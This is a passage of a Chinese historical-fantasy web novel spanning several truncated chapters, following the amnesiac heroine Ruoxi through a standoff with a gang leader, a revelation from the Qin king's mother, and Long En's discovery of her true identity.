环顾了四周一圈,看到一众红衣壮汉竟迟迟不朝其手中高举着的龙字金牌屈膝跪拜,若曦心里已然隐隐升起一抹不好的预感。 想必,这一定便是那个龙烨平日里一手所调教出来的一伙狂妄自大、目中无人、心狠手辣、唯龙烨独尊,其对龙恩的忠诚度怕是…… 然来不及深究,给他们深思熟虑的时间越久,怕是对这些手无寸铁的村民们越不利。于是,她即刻怒目朝其怒吼了一句道:“还不快滚,是不认识此令牌吗?还是…还是你们一个个胆敢对此令牌视而不见,想造反不成?” 果然不出她所料,那似头领的人物竟瞬间又再次满血复活了的样子,鼓起勇气来高昂着头,挺直了腰杆,趾高气昂地上前轻蔑地对若曦当众挑衅道: “哦,差点被你这个女人给虎住了。爷爷我还以为是谁呢?原来是龙帮主前几日带回去金屋藏娇,有实无名的那位啊!怪不得会有帮主令牌,看来,这床榻上的功夫还不赖嘛,伺候地不错,竟将骁龙会最至高无上的龙字金牌也骗到手了,你……” 未及其将话说完,若曦便已斜到了周围所有人对她所投来的异样眼神,当即忿忿反驳道:“休要胡说,我与龙大哥只是萍水相逢,我们之间清清白白,没有你说的那么龌龊。此乃是他临行前,怕你们这些心怀不轨的老鼠屎万一惹出什么事端来,祸害周围百姓,方才交于我暂时保管,带他行帮主之责的。” 那头领听了,双手负后着低下头去,嘴角里扯出一抹极阴冷的轻笑来,又在自己脚下啐了一口将其用力兹掉,道:“哼,你就甭浪费心思为自己找那么多冠冕堂皇的理由了!你在骁龙会里已不是一日两日,整日里被帮主像菩萨一样地供着,好吃好喝,好穿好戴,还有贴身的守卫随时保护着……” 就在这时,那年壮守卫和年轻守卫亦策马急急追了上来,上气不接下气地一下马来,便上前唤道:“若曦姑娘,若曦姑娘,你怎么跑得这么快,我俩险些就将姑娘给跟丢了,若是这样,回去可怎么跟帮主交待呢?!” 此情此景,所有下面未说完的话都已经不言而喻了。 于是,那头领轻笑一声,继续道:“做了就做了,既然敢做,又有什么不敢承认的呢?再说了,我骁龙会龙帮主不在,还有副帮主,龙帮主难道不相信自己的兄弟,会相信你一个萍水相逢的黄毛丫头?” “你...你血口喷人!”若曦已然怒不可遏。 见到若曦大怒,那俩名守卫忙抽出腰间的佩剑与其一起挡在了若曦的面前,将她护住,质问那头领道:“发生了什么事?你们聚集在这里做什么?” 这时,那头领的脸上忽然无了半丝笑意,背过身去,一 脸冷厉地朝所有在场的红衣壮汉义正言辞地扬声道:“’将在外,军令有所不受’,我们乃是为我骁龙会的两名无辜枉死的兄弟报仇。今日,且别说是这区区龙字金牌了,就算是龙帮主本人亲自站在我们面前,我们亦敢这样说。我们众弟兄们所做的一切,无愧于心,无愧于骁龙会。” 话音未落,在场所有的骁龙会手下竟呼啦啦全都也一齐高举着手里锋锐的大环刀,随之连连附和着壮势起哄起来:“对,我们是为我们死去的兄弟报仇,我们无愧于心,无愧于骁龙会。无愧于心,无愧于骁龙会……” 看到眼前的场面随之霎时间一度失控起来,甚至这些人里面有几个已经再次与一些年壮的村民互相扛在了一起,开始推推嚷嚷着发生肢体碰撞的情形。 若曦一见,顿时握紧了双拳怒视着那人,眼里似是有千万支利箭欲要射发出来一般,继而又伸出两根极具力量的手指来,笔直有力地指向了那挑起事端人的眼睛,咬牙切齿地朝那头领暴怒道: “你…好啊,你竟敢公然将龙帮主的命令都不放在眼里。看来,不给你一点儿颜色看看,你是绝对搞不清楚在骁龙会里,谁才是当家的咯!” 闻此,那头领忽地转身来将女子周身细细地打量了一番,似是瞬间亦来了兴趣,心想,不过一个弱女子而已,难不成是有三头六臂,又身怀什么独门绝技,还能反了天不成。 于是,他略一抬手,周围所有人便都停下了手里的动作继而变得安静了下来。只听他极具蔑视的口气说了句:“看来姑娘也绝非一般的女子咯,有什么本事,不妨就都使出来吧,好让爷爷我今儿个好好见识见识!” “我……” 就在这时,岂料周围几十个红衣汉子举着大刀一时间里竟如同汹涌澎湃的海浪一般,一齐都缓缓踱步着朝着她的身边缓缓涌了过来,似是欲想将她淹没吞下。 看着这一切,不知为何,若曦的脑子里霎时间一片混乱,竟然浮现起许许多多支离破碎的画面出来。 她知道,这些画面都是昔日里几乎每一夜都一次又一次地重复出现在她梦中的情景。 然这每一个情景,却都是那般的真实,就像是自己身临其境地经历过一般。 只是今日,为何会在白日里她异常清醒的时候亦出现,而且一如既往地清晰,真实。仿佛此时此刻,那一幕幕就在自己的面前重演一般。 那些不知道是哪里的车水马龙、灯红酒绿、繁华的都市与街道,那样真实的一个个人影,不可能仅仅是一场如海市蜃楼般的幻影; 如若不然,那这些又都是什么呢?是未来的世界,还是另一片大陆与时空? 那个为了救一个孩子挺身而出的妇 人,她是谁? 在她不幸坠落悬崖,产下一个女婴后被人用大火将其一起与整座茅屋点燃,带着女婴远走他乡的山野夫妇,他们是谁,又 第三百零八章:兽且知感恩 斜晖脉脉水悠悠,静静的小村庄里。黄昏时分,本是已快至晚饭的时候。依照平日里,此时理应是家家户户都飘起炊烟袅袅,空气里也皆是到处弥漫着诱人香气夹杂着幸福欢乐味道的时候。 然今日的桃花店,整片村子里却见不到一缕炊烟升起,也从未有过的一片寂静,青石板铺成的各条大街小巷里,到处都空荡荡的,安静地就连针掉在地上的声音亦能清晰地被人听到,让人不禁产生了一种错觉,这里仿佛是一座空城。 原来,在刚刚经历了一场浩劫,那场关乎整个村子所有人性命的生死大战后,见到奋不顾身挽救了全村的那如神明般的女子最终精疲力尽地晕倒过去,大家都急奔回家捧起自家里最珍贵的东西,又一起再次涌集到了村里老妇人家门口争先恐后地将自己的厚礼奉上。 “老夫人,这两条鱼是我刚从河里打捞上来的,拿给神女炖汤喝,很新鲜的,最适合体弱的病人补身体。” “不不不,用我家的这只老母鸡炖,营养丰富,一定比鱼汤对神女的恢复更好。” “还是用我的这篮子鸡蛋吧,神女一定是太费神了才会晕倒,用我这个鸡蛋,补脑的,准没错。” “用我的麻鸭,麻鸭更有营养。还有这咸鸭蛋,鸭蛋黄已成橘红色的,油汪汪的很好看。营养自是比鸡蛋和鲜鸭蛋更好了。” “用我的大枣比较好,这大枣补中益气,养血安神……” “还是用我的花生好,花生健脾和胃……” “用我的这些从地里刚摘下来的新鲜蔬菜吧……” …… 侍女欢儿搀扶着老妇人死死地堵在门口挡着所有的人,生怕这些人一不小心便就激动地闯了进去,惊扰了屋内床上若曦的休息。 欢儿的笑容早已僵在脸上,不停地朝大家点头弯腰致谢着。 终于,老妇人摆了摆手,止住所有的喧闹声,道:“好了都不要争了,大家的心意我全都替若曦心领了。不过东西大家还是赶快全都拿回去吧!若曦没事的,她只是太累了,休息一会儿很快便会醒过来的。大家都不用担心,快回去吧,让她好好休息!今天,因为老身的事连累大家都受惊了,真是对不起。” 老妇人说着,垂首向全村人致歉。 这时,立在人群中央的樵夫发声:“老夫人快别这样说,这些年,若不是老夫人您乐善好施,还免费为我们所有人医病赠药,这个与世隔绝的村里仅剩下的十几口人,怕是都已去阎王殿里当小鬼了。咱们谢都来不及,老夫人今又何出此言?如今,若曦姑娘终于平安回来了,我们也就都放心了……好了,大家就都听老夫人的话,不要在这里打扰姑娘修养了,都走吧,走吧!” 至此,拥堵 在门前的众人方才一个个依依不舍地陆续散了去。 老妇人微笑着对樵夫点了点头,以示谢意,樵夫便亦转身朝着自己家里回了去,老妇人这才与欢儿一道跨过门槛,急急回了屋。 屋内,那年长守卫和年轻侍卫正双手环胸着,一道牢牢地把守在卧房门口一脸纳闷着,似是对于方才所发生的一切至今仍还未反应过来的样子。 一见到老妇人和欢儿进门来,那年轻守卫迅速放下手来着急地迎上前去开口问道:“老夫人,您来的正好,这若曦姑娘方才怎么会变成那副样子,难道她真的是...妖...女?” 未及老妇人开口,年长守卫亦跟着放下手来上前朝他怒斥道:“别瞎说,你见过那么善良的妖女吗?若曦姑娘一定是神女下凡,老夫人,您说我说的对不对?” 然闻声顿足下来看着眼前这俩人同样充满好奇的眼神,老妇人却只是朝着她们淡淡地笑了笑,便兀自迈步朝内走了进去。 这时,欢儿上来行礼,甜甜地笑着对俩人道:“真是谢谢俩位大哥这些日子以来对若曦的照顾,欢儿略准备了一些我们农家的粗茶淡饭和小酒,如若不嫌,请俩位移步过去先垫垫肚子吧!” 一听到酒字,虽心里再也不想离开若曦半步,然身体却很诚实,俩人终还是不听使唤地挪开了步子,紧随着欢儿身后走了出去。 屋内,老妇人的床上,若曦正一袭朱红色长裙,双目紧闭,静静地躺着。 在她的手边,是已带着那队兽兵兽将返回山林去的黑白条纹相间的大虫所留下的两只幼崽,它们正在拨弄舔玩着她手腕上的七彩金丝彩玉镯子。 老妇人缓缓朝其身边坐了过去,定睛查看了下她的脸色,看向一边甚感欣慰地自言自语道:“老身果然没有看错,你一定便是我西秦皇室多年前所遗失了的那位守护者后人了。否则,今日也不会发出如此巨大的一股神力来。老天爷啊,我西秦终于有救了!” 一时间,她竟忍不住抹起了泪来。 而此时,床上女子的眼珠子不知不觉间已开始微微地翻动起来,最后终于将她那双世间极为难得好看的凤眸再次睁了开来。 “老夫人,您怎么落泪了?”若曦一边略显孱弱地坐 第三百零九章:容我再想想 “哎?老身怎么差点儿把它给忘了?若曦,你等等,老身去去就来……” 老妇人似是忽然间又想起了什么,兀自起身来便夺门疾步走了出去。 很快,伴随着其脚步又匆匆返回,只见她将手里正小心翼翼捧着的一个朱红色小木匣打了开来,遂便现出一粒药丸来。 顿时,一种特殊的气味和熟悉感即刻浮上了若曦的心头,略一回想,她凝视着那粒药丸惊问道:“这是...还魂丹?” 老妇人遂将其递了过去到若曦的手里,脸上现出一抹几乎很难被人发觉的好看弧度道:“对,这便是元宵夜,你在如梦亭里所遇到的那位青袍道长赠予你的可以帮你恢复记忆的还魂丹。方才老身忽然想,若是你能将它服下,或许便会记起一些那已被尘封了多年的往事来也未尝不可呢。” 闻此,若曦顿时眼睛一眨不眨地痴望着老妇人的眼睛半晌,而老妇人亦一直僵着方才的表情紧盯着她。 若曦想了会儿,一边摩挲起手腕上的七彩金丝彩玉镯子来,一边方才弱弱地说道:“那道长的确曾经说过,还魂丹可以让我记起许多遗忘了的,然也会…使我忘记心中最深的执念。” “原来,这便是你至今一直都不愿服下此药的真正原因?”老妇人这才恍然大悟。 看着若曦捧着小木匣只盯着那粒药丸愣愣地发呆,一脸凝重着,老妇人反倒云淡风轻地笑了笑,继而一副颇为认真地注视着她的眼睛神秘地问:“若曦,你可知道老身真正的身份吗?” 若曦这才抬起头来,却是认真地端详了老妇人好一会儿,又皱着眉头想了许久,终是不解地对其摇了摇头。 安静的小屋内,老妇人忽然就这么毫无防备地炸出了一句道:“老身乃是西秦国当今秦王殿下之生母。” “什么?老夫人…您...您是太妃娘娘?”顿时,若曦的眼中闪过一丝震惊,当即大吃一惊道。 老妇人郑重地朝其点了点头,兀自起身来立于窗前继续严肃地道:“‘覆巢之下,安有完卵’,如今的西秦国可谓是危机四伏,早已没了当初的繁荣与鼎盛。西秦的这些年,内有天灾不断,外有列强虎视眈眈,又加之璟帝暴政,昏庸失德,我儿秦王处处受其刁难。若不是因为对守护者力量的忌惮,他们的铁骑,怕是早就已经踏平我西秦国土了……” 话说至此,老妇人不禁停下来咬了咬牙,待稍缓和了些许激动的情绪,又接着道:“老身我为了这片西秦大地能重归安宁,为了轩辕皇族呕心沥血所打下的这片锦绣河山不至于如此轻易便被他人毁灭,在此等候你已经整整八年了。这八年来,老身放弃了自己的一切在此隐姓埋名,弃自己唯一至亲的骨肉于 不顾,怕是如今这个世上所有的人皆都以为老身八年前早便已经葬身于那片火海阴谋之中了吧。” 俩人一起默了会儿,老妇人发出一声长叹:“八年多的时间,近三千个日日夜夜,这院子里的海棠花花开花落了整整八次,老身的心也随之一次次地揪起又放下。八年的时光好短,短的就像是一瞬间,老身至今都还清楚地记得王府里的一草一木,一花一石,翰儿的一颦一笑,他的每一步成长,都是令老身那样地甚感欣慰;而八年的时光又好长,长的老身真是度日如年,差点儿连自己是谁都快要不记得了……” 想起八年来点点滴滴的相思之苦,老妇人心中满是酸楚,而一旁一直认真地一字一句倾听着的若曦又何尝不是呢? 待终于回过了神来,老妇人忽然问:“若曦,人的一生中所执着的人和事又岂止一件?然回首想想那些我们当初所不舍,执念的所有一切,真的比这天下苍生更为重要吗?” 许是今日里一下子所发生和接受到的信息太多,若曦早已吃不消;又许是初次爆发出了一场虽算不上怎么强大的力量来,她的身体尚未恢复;其中又有太多太多的疑问和顾虑,而无论如何,显然,她此时一定是尚还下不了决心的。 忽觉一阵头痛难耐,于是,她缓缓伸起手来抱住头,表情有些凝重,闭起眼睛道:“太妃娘娘,我好累,容我再仔细想想,好吗?” 不得已,老妇人终是瞅了她一会儿,深叹口气,皱紧眉头来摇了摇头,便什么再也没说,兀自迈出了门槛去。 接下来里,一室寂静,她抱着膝盖静坐在床上一动不动,唯有两只大虫幼崽围绕在其身旁陪伴。 不知过了多久,她将脸缓缓俯在了膝盖上,一手再次轻轻地揭开了那个小木匣来,对着里面的丹药愣了许久后,咬了咬嘴唇,呆呆地自言自语道:“为什么会是这个样子?我难道真的是太妃娘娘放弃一切,在此等了八年的那个人吗?” 虽然已是夜至,但因为若曦的一再坚持,顾及到龙恩原定的归期便就是这两日了。老妇人终是答应了她,准她跟随俩名守卫回到骁龙会里与龙恩当面致谢并归还其金牌后,再返回到桃花店村来与其一道前往城南城隍庙中求见玄空大师。 此时,若曦与俩名守卫策马扬鞭,终于在前半夜即将过去之前,抵达了骁龙会的境地。 夜晚的湖面上倒映着一轮皎洁的明月,随着微风的轻拂显得波光粼粼。 &nbs 第三百一十章:我无话可说 见到女子发疯般地蒙头直朝回跑去,男子忙上前一把拽住其胳膊将她拦住问:“你要做什么?” 女子情绪激动地答道:“我要去西苑里找燕儿,她一定还在西苑里。” 男子怒道:“你这样冒冒失失前去,怕是不但救不了她,还会将自己也一起搭进去吧!” 女子甚是担忧地道:“事到如今,我也管不了那么许多了,燕儿她不像我,她从小是在府里的小姐身边长大的,从未经历过此等事情。现在,她指不定躲在某个角落里哭泣,一定是害怕极了,我必须去救她!你放开我……” 女子说着,便附上了另一只手去想要掰开挣脱男子的禁锢,不想却撼动不了其半分。 这时,男子的手大力一抖,呵斥道:“你这样冲动根本一点用都没有,能不能先安静下来听我把话说完?” 女子似是真的被男子的厉色给镇住了,瞬间变得安静了下来。 男子这才松了手,舒了口气道:“我说过,她现在应该还是安全的。我今日里去见过龙烨,龙烨一整天都独自呆在屋里并未出门,骁龙会里也没有发生什么事?可如今最让人感到可疑的,也正是这份安静,从未有过的安静。我想来想去,只有一种可能……” “是什么?”女子着急地问。 男子深看了她一眼,道:“显然,他俩一开始其实并不认识,而是在前院里无意间碰到的。他们之所以会落入池水中,一定是不小心被人发现了,为了躲避追捕方才如此。西苑位于骁龙会的最后面,后门守卫极其严格,他们一定是逃不掉的。不得已,他们只能沿着原路返回了去,想要找我藏身,而我却……” 男子如今越来越觉得自己真的是大意了,竟就让那俩人在自己的眼皮子底下被捉。 只见他单手负后,对着眼前表面上看似是一片风平浪静,然却正悄悄酝酿着一场暴风雨的湖面上怔了会儿,继续说道: “在我着急地离开,欲往前院里去探索消息的时候,他们一定是被龙烨的人发现了。龙烨怕人知道他在抓刺客的同时,亦抓了一个煮茶的婢女,怕龙帮主日后知道了会迁怒于他,所以便命人将此消息封锁的密不透风。如果我没猜错的话,他们俩一定是已经被龙烨秘密关押在了一个鲜为人知的极为隐秘的地方……” 未及其把话说完,女子惊愕地直朝其瞪大了眼睛,着急道:“什么,燕儿被秘密关押起来了?可她只是个煮茶的婢女而已啊,龙帮主不是下令没有他的允许,不许任何人动我们吗?难道这都是说来骗我们的,枉我还差点信了他不是个彻头彻尾的土匪强盗!” “就我所看,龙帮主确实不是一般的土匪强盗。只不过龙烨对龙帮主的命令,一向 是阳奉阴违的。”男子吐了口浊气,解释道。 闻此,女子呼啦一下朝其愣愣地跪了下来,祈求道:“求求你救救她,救救燕儿,她可千万不能有事!否则,我……” 女子显然已不愿再继续说下去,亦不敢再往下想去,只不住拼命地一个接一个对其叩首起来。 冷峻男子急急将其一边扶起,一边信誓旦旦地道:“放心吧,有我在,只要盯紧龙烨,想必就不会有事的。眼下最重要的是,我们必须尽快找出关押他们的那个隐秘地方来!” 至此,若曦终于明白为何这俩守卫今日里一大早便阻拦住不让她上山去了。原来,昨夜西苑里竟发生了这么大的事。 她略一思考,过去一牵起马来便低头踏上了悬索桥,朝着湖的另一边骁龙会的石门方向快步回去。 只是在经过俩守卫身边的时候,忽然顿足狠狠地瞪了俩人一眼。那年轻守卫遂朝着年长守卫似是无奈地悄悄吐了吐舌头,便一道疾步跟了上去。 知道俩人跟了上来,若曦头也不回地一边走一边眼睛斜向身后的年长守卫沉声问道:“你一定知道那俩个人被关在哪儿了,对吧?” 岂料年长守卫竟想都不想,脱口即出:“我不知道。” 若曦似是早已预料到年长守卫会如此应付她,遂又将头斜向了身后另一旁的年轻守卫道:“如此看来,你也不知道咯?” 那年轻守卫早已连声音都不敢发出来,只顾乖乖埋头跟着。 “哼……”若曦遂凝视着前方气势雄伟的那道石门,冷笑了一声,刚从悬索桥上下来,便兀自一步跃上了马背,直沿着湖边往一旁疾驰奔了去。 “姑娘,夜已很深了,咱们还是快点儿回去吧!再往前走,便是骁龙会的禁地了!” “不能再往前去了,姑娘,姑娘……” 俩守卫一见,忙朝着其背影大声警告叫喊着,但显然,若曦根本早已听不到其一点儿声音。 无奈,俩人只得亦速速上马奋起直追了去。 待追到湖边的时候,看到若曦正若有所思,漫不经心地在湖边饮马,年长守卫终于松了口气,立在其身后对其关切道:“夜深了,姑娘莫要离湖那么近,小心滑下去。” 若曦闻声,顿时回过了神来,鼻子里哼了一声,遂丢下手里的缰绳,自顾又到了湖的另一边去凝视着湖面继续发呆。 今日里发生了太多的事,真 第三百一十一章:醉仙坊的规矩 掌柜的对东家龙恩的一切,显然根本就毫无所知,于是在其身旁坐了下来与其一同津津乐道起来。 “这寻人告示表面上写的虽是此医女乃为秦王妃所十分依赖的医女,秦王只不过是忧心秦王妃的身子,方才不计代价地想要将那医女寻回。然谁不知秦王如今在朝内早已羽翼渐丰,更有一些知情者透露说,那秦王一开始本就不满这桩赐婚,于是大婚后至今都故意冷落着那秦王妃,今又怎会如此在意她这些琐事呢?” “既然如此,那还为何要寻?”龙恩听了不解地道。 掌柜的叹了口气,帮东家再次添满茶碗,道:“如今,关于秦王寻这医女的真正原因,可信度最大的有两种。这一嘛,说是秦王本就与那医女熟识……” “哦?睥睨天下的灵空战神秦王竟与一身份卑微的小小医女熟识?”龙恩惊诧道。 掌柜的笑了笑,道:“据说那医女以前在宫里还是个小药女的时候,倒是还真有些本事,竟将连太医都没有把握的太子的天花给治好了。还说她经常受秦王照拂,更有甚者绘声绘色地传言他们有肌肤之亲。所以,传言便说秦王是欲纳那名医女为妃,故而才……呵呵。” “哼...‘大千世界,无奇不有’这可真的是千年铁树也开花儿了啊!可知那名医女是什么来路吗?”龙恩惊问。 掌柜的摸着脑门儿想了想,回道:“据说是...哦,说是宫里的大药师,城西衣府衣上坤家的嫡长女。” “衣上坤...好像没什么映象呢?不过,看来这衣府势必是要‘一人得道,鸡犬升天’了啊!”龙恩想了想,玩笑道。 掌柜的亦道:“那可不是。甭说是东家了,若不是最近因了这档子事儿,谁会知道西秦国里竟还藏有这样的神人呢?可东家您是不知道,这传秦王寻这医女的第二种原因,那就更神奇了!” “哦?怎么个神奇法,不妨说说看。”龙恩饶有兴趣地道。 掌柜的此时俨然一副说书人的架势,清了清嗓子道:“据说城西衣府那大小姐奇丑无比,以前在府里可是大门不出二门不迈的,就连在自己房中说话都不敢出大气,可真谓是妥妥的一个懦弱无能的废柴丑女。后来还不知怎的,忽然就昏迷不省人事了,因此也便被西秦学院少主迫不及待地给退了亲。可就在一年后,衣上坤为其四下里配冥婚不成,准备弃尸荒野的那天夜里,空中霎时电闪雷鸣,现出了一个七彩凤凰虚影,最后刚好落入了衣府后院,那大小姐的阁楼里。后来,那大小姐竟就这样醒了。” “昏迷了一年还能醒来?竟有这事?”龙恩顿时停住了手中正欲送入口的茶汤,眼睛一怔,惊声道。 掌柜的绘声绘色继续说 :“哎呦,这件事在城西里早已经传的沸沸扬扬,满城风雨了。就因为这件事,几乎所有知道的人把那大小姐都当做妖女,但是……” “‘妖女’…但是什么?”龙恩亦甚感震惊地问。 “但是,因为那大小姐醒来后变得与之前的废柴懦弱截然不同。替父入宫受罚,为太子治愈天花,帮玥公主与璟帝抗衡遭雪地罚跪,其胆识与力量绝非常人所能及,于是便有人说,说那大小姐很可能是...是传说中西秦国失踪了多年的血族之后,西秦国守护者。” “血族之后…西秦守护者…真有人这样说?”闻此,一时间里龙恩像是被钉住了一般,整个人盯视着掌柜的脸,惊呆了。 就在这时,有俩名面相极生的男子一前一后走了进来。 掌柜的瞥见,赶忙回过神来起身笑脸相迎了上去,拱手朝其致歉道:“俩位客官,真是不好意思,本店今日已经打烊了,俩位请明日赶早再来打酒吧!” 一腰间佩剑的胖乎乎的男子闻声,回头看了看身后跟着的那面无表情的挺拔身影,继而指着大门回头对掌柜的质问道:“这酒坊的门明明大开着,怎么你说打烊便打烊了呢?” “这是因为......”掌柜的一边说,一边亦扭头随之指向瞅了眼那大敞着的门口,遂将剩下的话一并都噎了回去。 正所谓‘和气生财’,生意人嘛,他倒也不想与客人之间总因为这点鸡毛蒜皮的小事起了争执。于是,便摇了摇头,兀自走上了柜台,翻开账簿拿起笔来,陪着笑脸与其妥协道:“算了算了,劳烦请您出示一下您的身份,是哪个府上的,我这就给您打酒去。“ 闻言,那胖乎乎的男子顿时双眼一怔,兀自再次回头与其身后一直沉默不语的男子对视了片刻后,回头甚是不解地问:“咦,你这个老头问那么多做甚?你卖酒,我买酒,咱们银货两讫,为什么还要我出示我的身份呢?” 掌柜的一听遂放下了手里的毛笔,合上账簿,耐心朝其解释道:“哦,看来两位客官是第一次来咱们醉仙坊打酒咯。按照醉仙坊的老规矩,要想从咱们这里打到酒,就一定得出示您的身份来。如若不然,即便您说您是玉皇大帝,天王老子,恕我也没法给您酒。” 那胖乎乎的男子一听,隐忍着愤怒,脱口即出:“那为何别家都不要,独独你们醉仙坊非要如此呢?” & 第三百一十二章:遭人轻视的龙帮主 朝阳升起,地上万物都闪烁着千千万万点微光。龙恩踏出了房门,高举起双手,仿佛是想要拥抱这朝阳,拥抱这舒心的崭新的一天。 霎时,院里树上的鸟儿扑棱棱腾起,一声声惊叫着直冲向蓝天。 薄雾中,晨曦伴随着夹杂着阵阵酒香的落叶在院子里欢快的起舞,彩云追着鸟儿在天空里自由自在地翱翔嬉戏。 今日,他早早地便出了门。然即使这样,城里的街市上,仍然已经到处都挤满了人。 和店家约定的取饰品的时辰尚还早,这会儿,他索性便亦凑凑热闹过去亲眼瞧瞧那秦王府所寻的医女究竟是何方神圣,有着怎样的盛世美颜,竟能得秦王如此挥金与青睐? 亦或眼下里被人们传说的有板有眼的守护者究竟是何长相,又与寿伯刚刚给他的真正的守护者画像能差几分? 虽然,他心里一点儿都不相信守护者会是一个区区药师家的懦弱废柴丑女,他其实更愿意相信那样神一样存在的女子,一定是隐世避居于某个极富灵气的深山老林里修炼之类的,然还是对那样的女子心生出了一丝莫名的好奇感。 毕竟,本一个那样的女子,如今能被整片灵空大陆所熟识,这本身已经证明了她的人生可谓是真正完全得到了逆袭。 然远远地,还未待他近身看到那被人山人海所掩埋起来的寻人告示一角,却先被人群后面玉立着的极其耀眼夺目,看似气质颇为不凡的俩名高大的男子身影深深吸引住。 他不禁缓缓放慢了脚步,从其侧面将俩人细细打量了一番。 这俩男子中,其中一个一袭紫红锦袍,细长的桃花眼,还未近身便已散发出一股淡淡的脂粉气来,尽显一副妖艳与不羁之态。 而他身旁的另外一袭月白锦袍的男子,则与其完全不同。 表面上看似气质如兰,温润如玉,眉目清朗如静川明波,身姿俊雅若芝兰玉树。然骨子里却是与之表面上冰火两重天,完全不同的另一种英武不凡、傲世轻物、不污于俗。 对于城南乃至西秦国里的众多王公贵胄般的大人物,他自是没有少交往,这也正是他为何要在此地经营这个醉仙坊最重要的目的,接近交好一切尽可能对自己未来有用的资源。 可显然,此时他还真从自己的记忆库里对不上来这样的俩个主,他们究竟是出自谁家呢?他们在这里,难道...也是想借此对秦王府有所求不成? 一念至此,龙恩顿时端起笑脸来上前近身过去一边佯装从人群后面朝告示上张望着,一边与其搭讪问道:“俩位朋友,不知这里因何聚集了这么多看热闹的人?可是发生了什么大事么?” “哼...你不识字么?不会自己看?”岂料那紫红锦袍男子 竟挑起眉来,冷冷地横了他一眼,不屑地说了句道。 闻此,龙恩正欲将目光从前方人潮中收回来朝其落过去再说些什么,却见那紫红锦袍男子对身边另一温润如玉的男子正说着:“看来,秦王府那边至今亦是还没有关于丫头的任何消息了?” “看样子,应该是这样。”那月白锦袍男子闻声,收回视线遂看向紫红锦袍男子沉声回应其道。 “走吧!”紫红锦袍男子紧接着又道,月白锦袍男子微微点了点头,俩人便一同结伴走进了位于首饰店旁边的一家茶楼里去。 见那俩人原来是去了一边喝茶,龙恩似是也安心下来笑了笑。知道了他们的去向,也不急这点儿功夫。待他看完画像,稍后再过去继续搭讪也不迟,他龙恩可不是那种不达目的便轻易放弃的人。 既已有了打算,龙恩这才忙扭头回去认真朝那纸告示上瞧了瞧那女子的样貌,却顿时被那画的栩栩如生,虽脸上绘着面纱,却依旧看得出甚是眉清目秀的一副眉眼和轮廓惊呆了。 龙恩一眼便认了出来那告示上所画的女子,正是大雨那日,他在山里所救起的那位失忆女子,此时正在骁龙会里等着他回去送她回家的若曦。 半晌后,方才惊诧地口中喃喃道:“衣上云...原来,这才是若曦本来真正的身份…这可真是让人意想不到啊!” 对着那告示上的画像怔愣了会儿,他忽然朝着四周小心翼翼地环顾了一圈,兀自又从袖兜里慌忙掏出了寿伯给他的那张守护者画像来。 只见他忙用自己一只宽大而又结实的手掌将守护者画像的脸部,亦如同告示上的女子画像一样遮住与其相同的位置,方才细细与那告示上的画像对比了起来。 果然,传言就是传言,十之八九都是不可信的,即使传的再出神入化。 此时,经过他颇为仔细认真的一番对照后,他肯定,即便是衣上云的脸上没有那块胎记,也根本就不可能是真正的守护者本尊。 然而,龙恩的心底深处却又隐隐有那么几分惊诧,因为他发现,这俩人不知哪里却又似乎是有那么几分相像的?这到底是怎么回事呢?难道…只是巧合而已? 他一边木讷地将守护者画像缓缓折叠起收回,一边暗自心里纳闷着:原来,衣上云就是若曦,若曦就是衣上云…… 霎时间里,忽然有一个就连他自己都鄙视自己的念头骤然从心间升起。十几年过去了,为了成就大业,如今难道自己竟又一次要昧着良心重蹈覆辙不成? 一念至此,想起了以前年少轻狂的种种不齿过往,还有未来即将马上就成为自己囊中之物的大好江山,他的脑子里顿时一片混乱。 & 第三百一十三章:原来竟是这样 妖艳男子同样不屑地回了另一男子一声轻笑,遂重复道:“真龙出海,灵空一统,凤凰涅槃,浴火重生,生既是死,死亦是生。” 稍顿了会儿,似是在说服自己,做最后的决定一般,说道:“这段话据城隍庙里的一位大师所解,是指一对即将得到涅槃重生的龙凤帝后,他们将具有统一这片灵空大陆的强大力量。所以,看来灵空一统的时刻真的就要到来了!” 话刚起,他又再次中途停了下来,似是颇为好奇地将那对面座上的男子细细打量了起来。 “你这是做什么?”那男子正在暗自思量其所说的话,忽一回过神来不解地问。 那妖艳男子深看了他一眼,似是打趣地口气道:“该不会...这说的就是三皇子与那西秦公主吧?听说,俩位可是就要大婚在即了呀!” “休要胡说!”那温润如玉的男子当即朝其沉声呵斥道。 然那妖艳男子依旧不肯敛声,兀自白了他一眼仍旧说着:“你想都不想,怎么就知道我是胡说的呢?试想一下,如今在这灵空大陆四国里,有谁敢与富甲一方的东宁国相争。而在东宁国中,又有谁比三皇子更有可能是那条处心积虑又野心勃勃,还即将大婚的真龙呢?” 温润如玉男子闻声,竟真的止住了怒气,又细细想了想,却没有再继续这个话题下去,许是已有些默许赞同了妖艳男子的说法,毕竟,一统灵空是他平生唯一所愿,亦是志在必得的事情。 于是,他挑了挑眉,转念又兀自问道:“‘小店桃花红粉姿,陌头杨柳绿烟丝’,那这个呢?” 妖艳男子遂微微颔首深吸了气,继而又将目光移向窗外略做回忆,幽幽道:“其实那夜,我是寻丫头恰巧经过了城隍庙,便在里面歇歇脚的,并不是有意要听你们的谈话。可后来,我觉得那位道士的身份十分可疑,他怎会知道灵空大陆里的那么多秘事。于是,便在你离开后,顺着那道士所离去的方向寻了去,岂料没见到什么道士,反倒遇到个和尚。于是,便被其请到了大殿里,与其随便聊了几句。” 稍作停顿,妖艳男子的脸上现出了一抹忧郁,一边轻轻转动着手中的茶碗,一边木然地口中默默重复道:“‘小店桃花红粉姿,陌头杨柳绿烟丝’那大师在我临走刚出门之际告诉我,欲要寻人,便往此处觅去。所以,看来这句话应该说的是一个地方。可后来,我又惊觉地发现,他说的这话与当初那道士与你所说的竟是一样的。我也怀疑过,他们是不是同一人?可和尚与道士,又怎么可能会是一路人呢?或许,那老和尚当夜里也是同我一样,无意中听到了道士的这些话呢?” “但至少,让我知道了丫头她还活着,也让我 知道了,你故意接近丫头,原来是别有用心。但让我最想不到的是,丫头竟可能会是你东宁国遗失的嫡公主。”妖艳男子最后将目光移向对面男子的脸,注视着他惊诧不已地道。 温润如玉男子终于明白过来,淡淡道:“所以,你一路急急跟踪我而来,就是为了证实这一点?!” 妖艳男子闻之,忽然似是极无奈地摇了摇头垂首下去,又自嘲般地笑了笑:“你永远都不知道,我有多喜欢丫头,为了她,我愿意付出一切。可如今,都已经这么久了,我却还未寻到关于她的半点儿消息。纵使已经知道她还活着,可是活着有很多种状态。如果她只是活着,而不是好好地活着,她受伤了,却得不到及时治疗,一个人孤苦无依,亦或是如同以前一样,动不动就莫明其妙地陷入昏迷,不省人事......” 